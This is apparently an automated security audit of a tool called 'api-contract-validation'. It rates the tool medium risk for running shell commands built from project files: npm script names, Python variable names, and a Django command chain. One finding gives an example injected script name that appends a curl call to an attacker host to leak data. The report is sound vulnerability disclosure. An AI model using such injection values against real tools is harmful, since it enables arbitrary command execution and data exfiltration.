api-contract-validation
Warn
Audited by Gen Agent Trust Hub on Jun 19, 2026
Risk Level: MEDIUMCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The
parser.pyandscripts/parser.pyfiles usesubprocess.runwithshell=Trueto execute commands dynamically constructed from project file contents. Specifically, thetry_express_specfunction iterates through keys in thescriptsobject of a project'spackage.jsonand executesnpm run {script_name}if the name contains "swagger" or "openapi". Because JSON keys are not sanitized, a malicious project could trigger arbitrary command execution by using a crafted script name (e.g.,"swagger; curl http://attacker.com/leak"). - [COMMAND_EXECUTION]: The
try_fastapi_specandtry_flask_specfunctions in the parser modules extract variable names from Python source files and interpolate them into apython -cshell command. While the regex used (\w+) restricts the characters in the variable name, the architectural pattern of executing shell commands based on content parsed from untrusted local files without strict validation is a security risk. - [COMMAND_EXECUTION]: The
try_django_specfunction executes a shell command string that combines multiple management commands using the||operator. While the command itself is static, it runs in a shell environment withshell=True, which is a practice generally discouraged due to potential security implications in broader contexts.
Audit Metadata